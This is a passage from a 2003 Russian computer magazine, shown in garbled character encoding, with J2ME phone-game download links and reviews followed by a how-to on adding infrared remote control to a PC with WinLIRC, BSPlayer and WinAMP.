http://www.unlock.times.lv/soft/siemens/java.htm<br />
http://digilander.libero.it/m_50/<br />
http://staslos.nm.ru/mt50/games/<br />
http://inferno239.nm.ru/java/<br />
http://www.jams.to/<br />
http://www.sl-midlets.net/dnk/games/<br />
http://hem.bredband.net/b157090/balaban/jam.zip<br />
http://digilander.libero.it/m_50/java/Java_Midlets_13jan2<br />
003.zip<br />
http://mobile-sl45.narod.ru/java.html<br />
2. Èãðû äëÿ ñêà÷èâàíèÿ ÷åðåç WAP<br />
http://midlet.nm.ru/<br />
http://wap.mulliner.org<br />
http://wap.o45m.ru<br />
http://wap.my-siemens.com (âûáèðàé ðàçíûõ<br />
îïåðàòîðîâ è ðàçíûå ñòðàíû, òîãäà òåáå áóäóò<br />
äàâàòü ñêà÷àòü ðàçíûå èãðû)<br />
http://doktorek.civ.pl/wap<br />
http://wap.midletcentral.com/<br />
Âñå ýòè, è íå òîëüêî ýòè èãðû òû ñìîæåøü ñêà-<br />
÷àòü ïî óêàçàííûì àäðåñàì. Äóìàþ, ïðîéäåò íåìàëî<br />
âðåìåíè, ïðåæäå ÷åì òåáå íàäîåñò âñå, ÷òî<br />
óñïåëè íàñî÷èíÿòü íà J2ME äëÿ òâîåãî òåëåôîíà!<br />
Âòîðîå ìåñòî - Siberian Strike. Ýòî ÷óìà! Ñóòü òà<br />
æå, ÷òî è â Galaxy Hero, íî êðó÷å è çàæèãàòåëüíåå! Ê òîìó<br />
æå, ïðî Ðîäèíó. Æàëêî òîëüêî î÷åíü óæ êîðîòêàÿ...<br />
Ïåðâûì äåëîì ñàìîëåòû<br />
Ïî÷åòíîå ïåðâîå ìåñòî - Skate & Slam. Ðåàëüíî<br />
òâîð÷åñêàÿ èãðà, êîòîðàÿ çàñòàâèò òåáÿ ñòðîèòü èç ñâîèõ<br />
ïàëüöåâ ñëîæíûå êîíñòðóêöèè, ëèøü áû ïðàâèëüíî è<br />
âîâðåìÿ íàäàâèòü íà íóæíûå êíîïêè. Â ýòîé èãðå òû<br />
óïðàâëÿåøü ñêåéòáîðäèñòîì è äîëæåí ñîâåðøàòü ðàçíîîáðàçíûå<br />
òðþêè - ñ êàæäûì óðîâíåì âñå ñëîæíåå -<br />
÷òîáû ïðîèçâåñòè âïå÷àòëåíèå íà îêðóæàþùèõ è ïîëó-<br />
÷èòü îò ýòèõ îêðóæàþùèõ ðàáîòó. Îòëè÷íàÿ èãðà! Îðèãèíàëüíàÿ,<br />
èíòåðåñíàÿ è êðàñèâàÿ.<br />
Îðëÿòà ó÷àòñÿ ëåòàòü<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit><br />
29
PC_Zone<br />
ÏÎÄÊËÞ×ÀÅÌ ÄÈÑÒÀÍÖÈÎÍÍÎÅ ÓÏÐÀÂËÅÍÈÅ<br />
Äåíèñ<br />
ÑÀÌ ÑÅÁÅ<br />
Ñàìàðèí,<br />
ÈÌÈÒÀÒÎÐ<br />
(densam@yandex.ru,<br />
www.olviko.ru/densam)<br />
<br />
Ñàìî ñîáîé, ÷òîáû äîñòè÷ü ñîñòîÿíèÿ ïîëíîé<br />
íèðâàíû, òåáå âñå æå ïîòðåáóåòñÿ ïðèëîæèòü<br />
íåìíîãî óñèëèé.  ïåðâóþ î÷åðåäü íóæíî áóäåò<br />
ðàçäîáûòü èíôðàêðàñíûé ïîðò. Ãäå ðàçäîáûòü?<br />
Åñòü äâà âîçìîæíûõ âàðèàíòà. Ïåðâûé - êóïèòü,<br />
âçÿòü íàïðîêàò ó äðóãà èëè âûïðîñèòü â ïîäàðîê<br />
íà ñâîé äåíü ðîæäåíèÿ.<br />
Âòîðîé - ñäåëàòü ñàìîìó. Äà-äà, ñäåëàòü ñàìîìó.<br />
Ïîâåðü ìíå, ñïàÿòü ïðîñòåéøèé ÈÊ-ïðèåìíèê<br />
ìîæåò è ïåðâîêëàññíèê. Äëÿ ýòîãî òåáå<br />
ïîíàäîáèòñÿ ðàçúåì äëÿ COM-ïîðòà (9 pin) è ïÿòü<br />
äåòàëåé, îáùåé ñòîèìîñòüþ îêîëî ñòà ðóáëåé,<br />
êîòîðûå òåáå ñ ðàäîñòüþ ïðîäàäóò â ëþáîì<br />
ìàãàçèíå ðàäèîòîâàðîâ. Õîòÿ, â ïðèíöèïå, ÈÊïîðò<br />
íå îáÿçàòåëüíî ïîäêëþ÷àòü èìåííî ê<br />
ïîñëåäîâàòåëüíîìó (COM) ïîðòó êîìïüþòåðà,<br />
ìîæíî è ê ïàðàëëåëüíîìó (LPT), èëè äàæå ê<br />
çâóêîâîé ïëàòå, íî ÿ òåáå ñîâåòóþ èñïîëüçîâàòü<br />
èìåííî COM-ïîðò, òàê êàê áîëüøàÿ ÷àñòü<br />
ïðîãðàììíîãî îáåñïå÷åíèÿ ðàáîòàåò ñ íèì.<br />
Íà âðåçêå òû íàéäåøü ññûëêè íà ñàéòû, ãäå<br />
íàõîäÿòñÿ ñõåìû, è ïîäðîáíî îïèñàí ïðîöåññ<br />
ñáîðêè óñòðîéñòâà. Îáðàòè âíèìàíèå íà òî, ÷òî íà<br />
íåêîòîðûõ ñõåìàõ ïðåäñòàâëåí íå ïîëíîöåííûé<br />
ÈÊ-ïîðò, à ëèøü ÈÊ-ïðèåìíèê. Îòëè÷èå â òîì, ÷òî<br />
ÈÊ-ïîðò ìîæåò îñóùåñòâëÿòü äâóõñòîðîííèé<br />
îáìåí äàííûìè, à ÈÊ-ïðèåìíèê - ëèøü ïðèíèìàòü<br />
èíôîðìàöèþ. Äëÿ äèñòàíöèîííîãî óïðàâëåíèÿ<br />
êîìïüþòåðîì ñ ïîìîùüþ ïóëüòà ÈÊ-ïðèåìíèêà<br />
âïîëíå äîñòàòî÷íî.<br />
Åñëè æå ñîáèðàòü ÈÊ-ïîðò ñàìîìó òåáå ëåíü, èëè<br />
òû áîèøüñÿ ñïàëèòü ÷òî-íèáóäü íåíàðîêîì, òî<br />
îòïðàâëÿéñÿ â áëèæàéøèé ìàãàçèí êîìïüþòåðíîé<br />
òåõíèêè è âûáåðè ñåáå óæå ãîòîâîå óñòðîéñòâî. Íà<br />
ñåãîäíÿøíèé äåíü òåáå ìîãóò ïðåäëîæèòü òðè<br />
ðàçëè÷íûõ âàðèàíòà:<br />
Ñ ïîäêëþ÷åíèåì ê ñïåöèàëüíîìó ÈÊ-ðàçúåìó íà<br />
ìàòåðèíñêîé ïëàòå;<br />
Ñ ïîäêëþ÷åíèåì ê USB-ïîðòó;<br />
C ïîäêëþ÷åíèåì ê COM-ïîðòó.<br />
Òàê êàê (ÿ óæå ãîâîðèë îá ýòîì âûøå) áîëüøàÿ<br />
÷àñòü ÏÎ ðàáîòàåò èìåííî ñ ïîñëåäîâàòåëüíûì<br />
ïîðòîì, òî ìåíüøå âñåãî ñëîæíîñòåé ó òåáÿ<br />
âîçíèêíåò ñ íàñòðîéêîé COM-óñòðîéñòâà. Âñå ÷òî<br />
íàäî ñäåëàòü - ýòî ïîäñîåäèíèòü ÈÊ-ïîðò ê<br />
ñâîáîäíîìó COM-ðàçúåìó (óáåäèñü, ÷òî COM-ïîðò<br />
íå çàíÿò, íàïðèìåð, âíóòðåííèì ìîäåìîì).<br />
Áîëüøèíñòâî ïðîãðàìì óìååò ðàáîòàòü ñ COMïîðòîì<br />
íàïðÿìóþ, òàê ÷òî äàæå íå îáÿçàòåëüíî<br />
óñòàíàâëèâàòü äðàéâåðà.<br />
Ñ USB-óñòðîéñòâàìè ìîãóò âîçíèêíóòü<br />
îïðåäåëåííûå ñëîæíîñòè. Äåëî â òîì, ÷òî èç<br />
âñåõ ïðîãðàìì, ïðîòåñòèðîâàííûõ ìíîþ â õîäå<br />
ïîäãîòîâêè ýòîãî îáçîðà, ÍÈ ÎÄÍÀ íå<br />
ïîääåðæèâàëà ðàáîòó ñ USB. Ýòî, ðàçóìååòñÿ,<br />
ìèíóñ. Ïðîáëåìà ðåøàåòñÿ óñòàíîâêîé<br />
ñïåöèàëüíûõ äðàéâåðîâ, êîòîðûå îáû÷íî<br />
èìåþòñÿ íà ïðèëàãàåìîì ê óñòðîéñòâó äèñêå.<br />
Ýòè äðàéâåðà ñîçäàþò â "Ïàíåëü óïðàâëåíèÿ"-<br />
"Ñèñòåìà"-"Óñòðîéñòâà" âèðòóàëüíûé ÑOMïîðò<br />
(Virtual COM) è âèðòóàëüíûé LPT-ïîðò<br />
(Virtual LPT). Òàê ÷òî, ïðåæäå ÷åì ïîêóïàòü<br />
USB-óñòðîéñòâî, óáåäèñü, ÷òî èìåþùèåñÿ<br />
äðàéâåðà ïîäõîäÿò ïîä òâîþ îïåðàöèîíêó.<br />
Íàïðèìåð, â ìîåì ñëó÷àå (Tekram IR-410U)<br />
âèðòóàëüíûå ïîðòû ñîçäàëèñü òîëüêî â<br />
Windows 98 è ME, à â 2000 - íåò.<br />
Tekram IR-410U<br />
Åñëè òû îñòàíîâèëñÿ íà ÈÊ-ïîðòå, êîòîðûé<br />
ïîäêëþ÷àåòñÿ íåïîñðåäñòâåííî ê IrDa-ðàçúåìó íà<br />
ìàòåðèíñêîé ïëàòå, ó÷òè, ÷òî ìàòåðèíñêèå ïëàòû<br />
ðàçíûõ ïðîèçâîäèòåëåé èìåþò ðàçíûå ðàçúåìû<br />
äëÿ ïîäêëþ÷åíèÿ, ïîýòîìó ïðè ïîêóïêå óáåäèñü â<br />
ñîâìåñòèìîñòè ðàçúåìà íà ïëàòå è ïðèëàãàåìîãî ê<br />
ÈÊ-ïîðòó øíóðêà. Êðîìå òîãî, íå çàáóäü<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
ÏÎÄÊËÞ×ÀÅÌ<br />
ÄÈÑÒÀÍÖÈÎÍÍÎÅ<br />
ÓÏÐÀÂËÅÍÈÅ<br />
ÊÀÊ ÓÏÐÀÂËßÒÜ ÊÎÌÏÜÞÒÅÐÎÌ ÍÀ ÐÀÑÑÒÎßÍÈÈ<br />
Íå çíàþ êàê òû, ïðèÿòåëü, à ÿ óæå äàâíî îòäàë ïðåäêàì ñâîé âèäàê è ìóçûêàëüíûé öåíòð. ×óâñòâóþ, íåäàëåê òîò ÷àñ,<br />
êîãäà èç âñåé áûòîâîé òåõíèêè ó ìåíÿ îñòàíåòñÿ îäèí òîëüêî êîìïüþòåð. À ÷òî? Âïîëíå ðåàëüíî. Ìóçûêà â ëþáûõ<br />
ôîðìàòàõ, ôèëüìû â mpeg4 è DVD… Óäîáíî è äåøåâî. Îäíî ïëîõî - íåò äèñòàíöèîííîãî óïðàâëåíèÿ. Êàæäûé ðàç,<br />
êîãäà õî÷åòñÿ ïðèáàâèòü èëè óáàâèòü çâóê, ïîñòàâèòü ôèëüì íà ïàóçó èëè ñìåíèòü «ïëàñòèíêó», ïðèõîäèòñÿ ñëåçàòü ñ<br />
äèâàíà è ïëåñòèñü ê êëàâèàòóðå. Êàìåííûé âåê! Ê ñ÷àñòüþ, ýòî íåóäîáñòâî ìîæíî ëåãêî èñïðàâèòü. Ñîìíåâàåøüñÿ?<br />
Îê, òîãäà äàâàé âìåñòå ïîñìîòðèì, êàê ìîæíî ïðèäåëàòü ê êîìïüþòåðó ïóëüò ÄÓ.<br />
àêòèâèçèðîâàòü îïöèþ IrDA â BIOS'å ("Chipset<br />
Features Setup" -> "UART2 Use Infrared" -><br />
"Enabled").<br />
<br />
Äëÿ óïðàâëåíèÿ ÈÊ-ïîðòîì êàêîãî-òî ñïåöèàëüíîãî<br />
îáîðóäîâàíèÿ òåáå íå ïîòðåáóåòñÿ. Ïîäîéäåò<br />
ëþáîå óñòðîéñòâî, óìåþùåå ïåðåäàâàòü ñèãíàëû â<br />
çàäàííîì äèàïàçîíå. Êîðî÷å - ñãîäèòñÿ ëþáîé<br />
ïóëüò îò îáû÷íîãî òåëåâèçîðà, âèäåîìàãíèòîôîíà<br />
èëè ìóçûêàëüíîãî öåíòðà. Íó, èëè ïî÷òè ëþáîé.<br />
Èìåþòñÿ ðåäêèå èñêëþ÷åíèÿ òèïà ïóëüòîâ îò<br />
íàøèõ "Ãîðèçîíòîâ" è íåêîòîðûõ ìîäåëåé<br />
Panasonic'îâ, êîòîðûå ãåíåðèðóþò ñèãíàëû ñ<br />
÷àñòîòîé, îòëè÷íîé îò òîé, íà êîòîðîþ ðàññ÷èòàí<br />
íàø ÈÊ-ïîðò (400 êÃö âìåñòî 30-40 êÃö).<br />
Äëÿ óñòîé÷èâîãî äâóõñòîðîííåãî îáìåíà äàííûìè<br />
ìåæäó ÈÊ-ïîðòîì è äðóãèì ÈÊ-óñòðîéñòâîì<br />
ðåêîìåíäóåòñÿ ðàçìåùàòü èõ íà ðàññòîÿíèè îêîëî<br />
ìåòðà äðóã îò äðóãà (íå äàëüøå). Ê ñ÷àñòüþ, íàøà<br />
çàäà÷à ãîðàçäî ïðîùå, ïîýòîìó øåñòü-ñåìü<br />
ìåòðîâ - âïîëíå íîðìàëüíîå ðàññòîÿíèå, íà<br />
êîòîðîå òû ìîæåøü îòîäâèíóòü îò êîìïüþòåðà<br />
ñâîé äèâàí, íå áîÿñü òîãî, ÷òî ïóëüò íå<br />
"äîñòàíåò". Òåì íå ìåíåå, ó÷òè, ÷òî, íàïðèìåð,<br />
î÷åíü ÿðêîå îñâåùåíèå ìîæåò çàìåòíî ñíèçèòü<br />
ðàäèóñ äåéñòâèÿ ïóëüòà.<br />
<br />
Ïîñëå îêîí÷àíèÿ òðóäîâ íàä àïïàðàòíîé ÷àñòüþ<br />
ïîðà ïðèíèìàòüñÿ çà âûáîð ïðîãðàììíîãî<br />
îáåñïå÷åíèÿ. ß áû òåáå ïîñîâåòîâàë íà÷àòü ñ<br />
WinLirc.<br />
WinLirc - ýòî äåìîí, êîòîðûé îòñëåæèâàåò<br />
ñîñòîÿíèå COM-ïîðòà, ïðèíèìàåò ïîñòóïàþùèå îò<br />
ÈÊ ñèãíàëû, àíàëèçèðóåò èõ è, â çàâèñèìîñòè îò<br />
ïðèíÿòîãî ñèãíàëà, ïîñûëàåò íà óêàçàííûé ïîðò<br />
ñîîòâåòñòâóþùóþ êîìàíäó. Áîëüøèíñòâî<br />
ïðîãðàìì äëÿ ðàáîòû ñ ÈÊ-ïîðòîì ïîëüçóþòñÿ<br />
óñëóãàìè èìåííî WinLIRC'à.<br />
Èçíà÷àëüíî WinLIRC áûë ðàçðàáîòàí äëÿ ÎÑ Linux<br />
è íàçûâàëñÿ ïðîñòî LIRC, ÷òî îçíà÷àåò (åñëè<br />
ðàçâåðíóòü àááðåâèàòóðó) Linux Infra Red Control.<br />
Âïîñëåäñòâèè ïðîãðàììà áûëà ýêñïîðòèðîâàíà<br />
ïîä Windows è ïðèîáðåëà ñîîòâåòñòâóþùóþ<br />
ïðèñòàâêó ê èìåíè. Äèñòðèáóòèâ ïðîãðàììû,<br />
30 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
êîòîðûé, êñòàòè, ðàñïðîñòðàíÿåòñÿ êàê freeware, òû<br />
ìîæåøü ñêà÷àòü ñ ñàéòà<br />
http://winlirc.sourceforge.net. Íà äàííûé ìîìåíò<br />
ïîñëåäíÿÿ âåðñèÿ - 0.6.4. Èíñòàëëÿöèè êàê òàêîâîé<br />
íå òðåáóåòñÿ, è äëÿ çàïóñêà ïðîãðàììû äîñòàòî÷íî<br />
ðàñïàêîâàòü àðõèâ è çàïóñòèòü ôàéë WinLirc.exe.<br />
Ïðîãà âåñüìà íåòðåáîâàòåëüíà ê ðåñóðñàì è<br />
âåëèêîëåïíî ðàáîòàåò äàæå íà Pentium 166.<br />
WinLIRC<br />
Ïîñëå çàïóñêà "äåìîíà" â ïîëå Port óêàæè íîìåð<br />
COM-ïîðòà, ê êîòîðîìó òû ïîäñîåäèíèë ÈÊïðèåìíèê,<br />
è åãî ñêîðîñòü (åñëè ïîñòàâèøü 115200<br />
- íå îøèáåøüñÿ). Íà âñå îñòàëüíûå ïàðàìåòðû<br />
ïîêà íå îáðàùàé âíèìàíèÿ. Äàëåå òåáå<br />
íåîáõîäèìî ïîçíàêîìèòü WinLIRC ñ òâîèì<br />
ïóëüòîì. Äëÿ ýòîãî îòïðàâëÿéñÿ ïî àäðåñó<br />
http://lirc.sourceforge.net/remotes è èùè<br />
èñïîëüçóåìóþ òîáîé ìîäåëü. Åñëè íàøåë, ñ÷èòàé,<br />
òåáå ïîâåçëî. Ñêà÷èâàé êîíôèãóðàöèîííûé ôàéë<br />
ñåáå íà äèñê è óêàçûâàé ïðîãðàììå, ãäå îí<br />
íàõîäèòñÿ (ïàðàìåòð Config).<br />
Åñëè æå òâîé ïóëüò îêàçàëñÿ íàñòîëüêî<br />
óíèêàëüíûì, ÷òî äëÿ íåãî íå íàøëîñü êîíôèãà, òî<br />
ïðîãðàììó ïðèäåòñÿ îáó÷àòü. Ýòî íåñëîæíî. Äëÿ<br />
íà÷àëà æìè íà êíîïî÷êó "Learn". Íà âîïðîñ<br />
ïðîãðàììû "This will record the signals from your<br />
remote control and create a config file for WinLIRC.<br />
Please enter a name for this remote." âïèøè<br />
íàçâàíèå ñâîåãî ïóëüòà. Æåëàòåëüíî ëàòèíñêèìè<br />
áóêâàìè è áåç ïðîáåëîâ.<br />
Ïîñëå ýòîãî â îòâåò íà äâà âîïðîñà ïðîñòî<br />
íàæìè "Enter", äàæå íå îñîáî âíèêàÿ â ñìûñë<br />
íàïèñàííîãî. Äàëüøå ïîÿâèòñÿ íàäïèñü "Press a<br />
button. Please wait a second and press it again".<br />
Æìè ëþáóþ êíîïî÷êó íà ïóëüòå. Ïîòîì îòïóñòè<br />
åå è ÷åðåç íåêîòîðîå âðåìÿ íàæìè îïÿòü. Íà<br />
ýêðàíå äîëæíà ïîÿâèòüñÿ "Baseline initialized".<br />
Ïîÿâèëàñü? ×óäåñíî. Äàâè òó æå ñàìóþ êíîïêó<br />
åùå ðàç. Ïîÿâèòñÿ "Please wait a second and<br />
press a button again (10 left)". Æìè åùå ðàç, è<br />
òàê äî òåõ ïîð, ïîêà íå óâèäèøü "This is a signalrepeating<br />
remote with no special repeat code.<br />
Ñàéòû, ãäå òû íàéäåøü ñõåìû ÈÊïîðòîâ<br />
è ÈÊ-ïðèåìíèêîâ<br />
http://www.cooler.it/cl020401.html -<br />
ñõåìà ïðîñòîãî ÈÊ-ïðèåìíèêà è<br />
êîììåíòàðèè ïî åãî ñáîðêå<br />
http://evm.wallst.ru/main/irda/index.ht<br />
m - ñõåìà ïîëíîöåííîãî ÈÊ-ïîðòà,<br />
ïîäêëþ÷àåìîãî íåïîñðåäñòâåííî ê<br />
ìàòåðèíñêîé ïëàòå<br />
http://inline.boom.ru/ - ñõåìà è<br />
ïîäðîáíîå îïèñàíèå ïðîñòîãî ÈÊïðèåìíèêà<br />
http://www.lirc.org/receivers.html -<br />
åùå îäèí ñàéò (íà àíãëèéñêîì),<br />
ïîñâÿùåííûé ñîçäàíèþ ÈÊïðèåìíèêîâ<br />
Holding down the button can quickly yield many<br />
copies of that button's code. Therefore, 64 samples<br />
of each button will be taken. You will be prompted<br />
to enter each button's name in turn. To finish<br />
recording buttons, enter a blank button name".<br />
Îáó÷àåì WinLIRC<br />
Òåïåðü ïîñëåäóåò ñåðèÿ îäèíàêîâûõ âîïðîñîâ<br />
"Button … name". Ââîäè íàçâàíèÿ òåõ êíîïîê íà<br />
ïóëüòå, êîòîðûì òû îáó÷àåøü ïðîãðàììó (POWER,<br />
VALUEINC, VALUEDEC, STOP, START è ò.ï.), è æìè<br />
ñîîòâåòñòâóþùóþ êíîïêó â òå÷åíèå íåñêîëüêèõ<br />
ñåêóíä äî òåõ ïîð, ïîêà çíà÷åíèå ïàðàìåòðà<br />
matches, êîòîðîå áóäåò "áåæàòü" íà ýêðàíå, íå<br />
ñòàíåò ðàâíûì 64. Ýòó ïðîöåäóðó íåîáõîäèìî<br />
ïîâòîðèòü äëÿ êàæäîé èíòåðåñóþùåé òåáÿ êíîïêè.<br />
Äëÿ ïðåêðàùåíèÿ îáó÷åíèÿ âìåñòî î÷åðåäíîãî<br />
íàçâàíèÿ êíîïêè ïðîñòî íàæìè "Enter".<br />
Äëÿ òîãî ÷òîáû WinLirc ñîõðàíèëà ïîëó÷åííûå<br />
äàííûå â êîíôèãóðàöèîííîì ôàéëå, èñïîëüçóé<br />
"Analize". Òåïåðü ïðîâåðêà: ïîùåëêàé ðàçíûìè<br />
êíîïî÷êàìè ïóëüòà, åñëè â òðåå âñïûõèâàåò<br />
çåëåíåíüêàÿ ëàìïî÷êà, çíà÷èò, WinLirn âñå ïîíÿëà<br />
è õîðîøî ðàñïîçíàåò òâîè ñèãíàëû.<br />
WinLIRC â äåéñòâèè<br />
Êîãäà ïîäãîòîâèòåëüíûé ýòàï îñòàíåòñÿ ïîçàäè,<br />
íà÷íåòñÿ ñàìîå èíòåðåñíîå - íàñòðîéêà âñåãî<br />
ýòîãî ïðîãðàììíî-àïïàðàòíîå ÷óäà ïîä òâîè<br />
íóæäû. Êàê ýòî ñäåëàòü? Êàê îáû÷íî, åñòü äâà<br />
ïóòè. Ïóòü ïåðâûé äîñòóïåí ëèøü â òîì ñëó÷àå,<br />
åñëè ÏÎ, êîòîðûì òû ïîëüçóåøüñÿ, ïîääåðæèâàåò<br />
ðàáîòó íåïîñðåäñòâåííî ñ ÈÊ-ïîðòîì (÷òî âðÿä<br />
ëè) èëè ñ WinLicr'îì (÷òî áîëåå âåðîÿòíî).<br />
Áîëüøîé ñïèñîê òàêèõ ïðîãðàìì òû íàéäåøü âñå<br />
íà òîì æå http://winlirc.sourceforge.net. À ÿ òåáå<br />
ðàññêàæó î íåêîòîðûõ èõ íèõ. Î âòîðîì ïóòè ìû<br />
ïîãîâîðèì ÷óòü äàëüøå.<br />
<br />
Íà÷íåì ñ ìîåãî ëþáèìîãî BSPlayer'a. Êîãäà<br />
þçàåøü òàêèå ïðîãðàììû, è æèçíü ñòàíîâèòñÿ<br />
ÿð÷å. Îòëè÷íûé äèçàéí, âñå ïðîäóìàíî äî<br />
ìåëî÷åé, íî ãëàâíîå - ôóíêöèîíàëüíîñòü. BSPlayer<br />
ïðîñìàòðèâàåò è ïðîñëóøèâàåò âñå, ÷òî òîëüêî<br />
ìîæíî ïðîñìàòðèâàòü è ïðîñëóøèâàòü. Äà ÷òî ÿ<br />
òåáå ðàññêàçûâàþ? Òû, íàâåðíîå, è ñàì<br />
ïîëüçóåøüñÿ ýòîé ïðîãîé.<br />
Íàñòðîéêà BSPlayer’à<br />
Ðàçóìååòñÿ, BSPlayer óìååò ðàáîòàòü è ñ WinLirc.<br />
Äðóãîãî ÿ îò íåãî è íå îæèäàë. Âûáåðè â ìåíþ<br />
"Ïàðàìåòðû" (Options) ïóíêò "Íàñòðîéêè"<br />
(Preferences), è ïåðåìåùàéñÿ ïî çàêëàäêàì äî<br />
ñàìîãî êîíöà, ïîêà íå íàòêíåøüñÿ íà<br />
"Êíîïêè&WinLIRC" ("Key definitions & WinLIRC"). Êàê<br />
âèäèøü, äèàëîãîâîå îêíî ðàçáèòî íà äâå<br />
ôóíêöèîíàëüíûå ÷àñòè.  ëåâîé ðàñïîëîæåí<br />
ñïèñîê êîìàíä, êîòîðûå óìååò âûïîëíÿòü BSPlayer.<br />
Ñðåäè íèõ: óâåëè÷èòü/óáàâèòü ãðîìêîñòü,<br />
ïåðåêëþ÷èòüñÿ â ïîëíîýêðàííûé ðåæèì,<br />
ïðèîñòàíîâèòü ïîêàç, ñíÿòü êîïèþ êàäðà è ò.ä.<br />
Âñåãî ðîâíî äåâÿíîñòî êîìàíä!  ïðàâîé æå ÷àñòè<br />
ýêðàíà èìåþòñÿ òðè ïîëÿ:<br />
1. "Ñîïîñòàâëåííàÿ êëàâèøà" - êîìáèíàöèÿ êëàâèø<br />
íà êëàâèàòóðå, ñ ïîìîùüþ êîòîðûõ ìîæíî âûçâàòü<br />
âûïîëíåíèå òîé èëè èíîé êîìàíäû - â êîíòåêñòå<br />
ðàññìàòðèâàåìîé òåìû íàñ èíòåðåñóåò ìàëî.<br />
2. "WinLirc - êíîïêà" - à âîò ýòî òî, ÷òî íóæíî! Æìè<br />
êíîïêó íà ïóëüòå, â òðåå çàãîðèòñÿ çåëåííàÿ ëàìïî÷êà,<br />
à BSPlayer çàïîìíèò, ÷òî èìåííî ýòîé êíîïêå íà<br />
ïóëüòå ñîîòâåòñòâóåò âûáðàííàÿ òîáîé êîìàíäà.<br />
3. "WinLIRC àäðåñ è ïîðò" - â ýòîì ïîëå<br />
íåîáõîäèìî ïðîïèñàòü ip-àäðåñ ìàøèíêè, íà<br />
êîòîðîé óñòàíîâëåí WinLIRC è, ñîîòâåòñòâåííî,<br />
ÈÊ-ïðèåìíèê. Äåëî â òîì, ÷òî WinLIRC ìîæåò<br />
ðàáîòàòü íå òîëüêî ëîêàëüíî, íî è ïåðåäàâàòü<br />
ïðèíÿòûå ñèãíàëû ïî TCP IP. ×óâñòâóåøü, êàêèå<br />
îòêðûâàþòñÿ ïåðñïåêòèâû? Ïðè æåëàíèè òû<br />
ìîæåøü èç äîìà óïðàâëÿòü êîìïüþòåðîì,<br />
íàõîäÿùèìñÿ â Íîâîé Çåëàíäèè. Íî îíî òåáå<br />
íàäî? Åñëè íåò, è ó òåáÿ íåò òàêèõ ãëîáàëüíûõ<br />
öåëåé, òî îñòàâëÿé ýòîò ïàðàìåòð áåç èçìåíåíèé.<br />
Âîò, â ïðèíöèïå, è âñå. Íàñëàæäàéñÿ.<br />
<br />
×òî åùå ìîæåò ðàáîòàòü ñ ÄÓ? WinAMP. Ïðàâäà, â<br />
îòëè÷èå îò BSPlayer'à, ó WinAMP'à íåò âñòðîåííîé<br />
ïîääåðæêè WinLIRC'à. Íî ñóùåñòâóåò ñïåöèàëüíûé<br />
ïëàãèí, êîòîðûé óñòðàíÿåò ýòîò íåäîñòàòîê. Çîâóò<br />
åãî Remote Control, è òû íàéäåøü åãî ïî àäðåñó<br />
http://remotectrl.narod.ru/russian/remoteCtrl.exe<br />
(132Êá, ðóññêàÿ âåðñèÿ - freeware).<br />
WinAMP è Remote Control<br />
<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit><br />
31
PC_Zone<br />
ÏÎÄÊËÞ×ÀÅÌ ÄÈÑÒÀÍÖÈÎÍÍÎÅ ÓÏÐÀÂËÅÍÈÅ<br />
Äåíèñ<br />
ÑÀÌ ÑÅÁÅ<br />
Ñàìàðèí,<br />
ÈÌÈÒÀÒÎÐ<br />
(densam@yandex.ru,<br />
www.olviko.ru/densam)<br />
Remote Control ðàáîòàåò ñ Winamp âåðñèè 2.4 è<br />
âûøå, à òàêæå òðåáóåò ðàçðåøåíèÿ ýêðàíà íå íèæå<br />
800x600. Õîòÿ îí áóäåò ðàáîòàòü è ïðè 640õ480, íî<br />
ïîäñêàçêè ïðèîáðåòóò íå÷èòàáåëüíûé âèä.<br />
Ïîñëå óñòàíîâêè ïëàãèíà åãî òðåáóåòñÿ<br />
ñêîíôèãóðèòü. Äëÿ ýòîãî ëåçü â "Preference" -><br />
"Plug-ins" -> "General Purpose" è æìè íà<br />
"Configure". Èëè, ÷òî ãîðàçäî ïðîùå, ùåëêíè<br />
ìûøêîé íà ïîÿâèâøóþñÿ â òðåå èêîíêó. È â òîì è<br />
â äðóãîì ñëó÷àå òû ïîïàäåøü â íàñòðîéêè ïëàãèíà,<br />
êîòîðûõ, ÿ òåáå ñêàæó, ó íåãî äîâîëüíî ìíîãî. Íî<br />
ñ áîëüøèíñòâîì íàñòðîåê ÿ ïðåäëàãàþ òåáå<br />
ðàçîáðàòüñÿ ñàìîñòîÿòåëüíî, à ñàì ëèøü<br />
ðàññêàæó, êàê íàñòðîèòü åãî äëÿ ðàáîòû ñ ïóëüòîì.<br />
 ïåðâóþ î÷åðåäü âûáåðè çàêëàäêó "WinLIRC", â<br />
êîòîðîé ïðîïèøè IP-àäðåñ ìàøèíêè, ãäå<br />
óñòàíîâëåí ÈÊ-ïîðò. Åñëè ó òåáÿ "âñå â îäíîì<br />
ôëàêîíå", òî ïèøè "localhost". Ïîòîì ïåðåõîäè íà<br />
çàêëàäêó "Êîìàíäû".<br />
Íàñòðîéêà plugin’à äëÿ WinAMP’à<br />
Æìè ïðàâóþ êíîïêó ìûøè è âûáèðàé êîìàíäó<br />
"Ñîçäàòü ïóëüò". Èìåé â âèäó, ÷òî íàçâàíèå ïóëüòà<br />
äîëæíî â òî÷íîñòè ñîâïàäàòü ñ òåì íàçâàíèåì,<br />
êîòîðîå òû ââîäèë, îáó÷àÿ ïðîãðàììó WinLIRC.<br />
Ïîòîì îïÿòü ùåëêàåøü ìûøêîé è ñîçäàåøü êíîïêó<br />
ïóëüòà, äàåøü åé íàçâàíèå è èç âûïàäàþùèõ<br />
ñïèñêîâ "Îñíîâíàÿ êîìàíäà" èëè "Êîìàíäà<br />
ïëåéëèñòà" âûáèðàåøü íóæíóþ òåáå êîìàíäó:<br />
óïðàâëåíèå ãðîìêîñòüþ, óïðàâëåíèå mp3-ôàéëàìè<br />
èëè CD-äèñêàìè, âêëþ÷åíèå è âûêëþ÷åíèå<br />
ìîíèòîðà è òàê äàëåå.<br />
<br />
Íåñêîëüêî òðóäíåå òåáå ïðèäåòñÿ, åñëè òû<br />
ïîëüçóåøüñÿ ïðîãðàììîé, êîòîðàÿ íå<br />
ïîääåðæèâàåò ðàáîòó ñ WinLIRC'îì. Íàïðèìåð,<br />
ñòàíäàðòíûé Windows Media Player èëè DivX Player<br />
çíàòü ïðî WinLIRC íè÷åãî íå çíàþò.  ýòîì ñëó÷àå<br />
îòöà ðóññêîé äåìîêðàòèè ñïàñóò ïðîãðàììû,<br />
